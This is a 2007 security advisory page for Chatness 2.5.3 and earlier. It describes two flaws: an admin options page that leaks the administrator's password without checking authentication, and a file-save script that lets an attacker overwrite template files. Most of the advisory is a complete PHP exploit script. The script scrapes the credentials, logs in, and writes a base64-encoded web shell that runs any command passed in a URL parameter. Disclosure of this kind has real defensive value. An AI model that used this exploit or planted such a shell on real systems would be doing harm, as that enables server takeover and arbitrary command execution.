SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Chatness <= 2.5.3 - Arbitrary Code Execution


Arrow  SecurityAlert : 2595
Arrow  CVE : CVE-2007-2147
Arrow  CVE : CVE-2007-2149
Arrow  CVE : CVE-2007-2148
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Gammarays
Arrow  Published : 23.04.2007

Arrow  Affected Software : Chatness <= 2.5.3



Arrow  Advisory Content :  

<?/*
Files: options.php, save.php
Affects: Chatness <= 2.5.3
Date: 12th April 2007

Issue Description:
========================================================================
===
Chatness suffers with two main vulnerabilities, the first of these in
/admin/options.php the problems occur because the script first fails to
verify if the user is in fact an administrator and secondly it prints the
administrators username and password in plain text as part of the
pre-filled
form.

The second issue occurs in /admin/save.php and /index.php while save.php
limits writing to just .html extended filenames it is possible for an
attacker to overwrite either foot.html or head.html to contain arbitrary
php
code which would then be executed when included by index.php
========================================================================
===

Scope:
========================================================================
===
Combined these two seperate issues will allow an attacker to gain access
to
the system and execute code/commands of their choice.
========================================================================
===

Recommendation:
========================================================================
===
Until a patch is availible it would be advisable to chmod both foot.html
and head.html to a mode that makes them unwritable by the web server, this
will minimize the risk of arbitrary code execution.
========================================================================
===

Discovered By: Gammarays
*/?>

<?php

echo "########################################################n";
echo "# Special Greetings To - Timq,Warpboy,The-Maggot #n";
echo "########################################################nnn";

$payload =
"JTNDJTNGcGhwK2lmJTI4aXNzZXQlMjglMjRfR0VUJTVCJTI3Y21kJTI3JTVEJTI5JTI5JTd
CZWNobytzaGVsbF9leGVjJTI4dXJsZGVjb2RlJTI4JTI0X0dFVCU1QiUyN2NtZCUyNyU1RCU
yOSUyOSUzQmRpZSUyOCUyOSUzQiU3RCUzRiUzRQ==";
$payload = base64_decode($payload);

if($argc!=2) die("Usage: <url> ntEx: http://www.example.com/chatness/n");

$url = $argv[1];

$ch = curl_init($url . "admin/options.php");
if(!$ch) die("Error Initializing CURL");

echo "[ ] Attempting To Fetch Admin Login...n";
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(!$res) die("Error Connecting To Target");

$httpresult = curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($httpresult!=200) die("Error - URL Appears To Be Incorrect");

//Not good - but it works...sometimes
$junkarray = explode("id=",$res);
$junkarray = explode(""",$junkarray[14]);
$username = $junkarray[3];

$junkarray = explode("id=",$res);
$junkarray = explode(""",$junkarray[15]);
$password = $junkarray[3];

echo "[ ] Found Username And Password - ".$username." / ".$password."n";
echo "[ ] Logging In...n";

//Login
curl_setopt($ch, CURLOPT_URL,$url . "admin/login.php");
curl_setopt($ch, CURLOPT_COOKIEJAR, "mrcookie.dat");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,"user=".$username."&pass=".$password."&submit=Login")
;
$res = curl_exec($ch);
if(!res) die("Error Connecting To Target");

$httpresult = curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($httpresult==200) die("Error Invalid Username/Password");

echo "[ ] Login Succeeded..n";

//Deploy Main Payload
curl_setopt($ch, CURLOPT_URL,$url . "admin/save.php?file=head");
curl_setopt($ch, CURLOPT_COOKIEFILE, "mrcookie.dat");
curl_setopt($ch, CURLOPT_POSTFIELDS,"html=".$payload);
$res = curl_exec($ch);
if(!res) die("Error Connecting To Target");

echo "[ ] Payload Deployedn";
echo "[ ] Shell Accessible at ".$url."index.php?cmd=<yourcommand>";
curl_close($ch);
?>





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.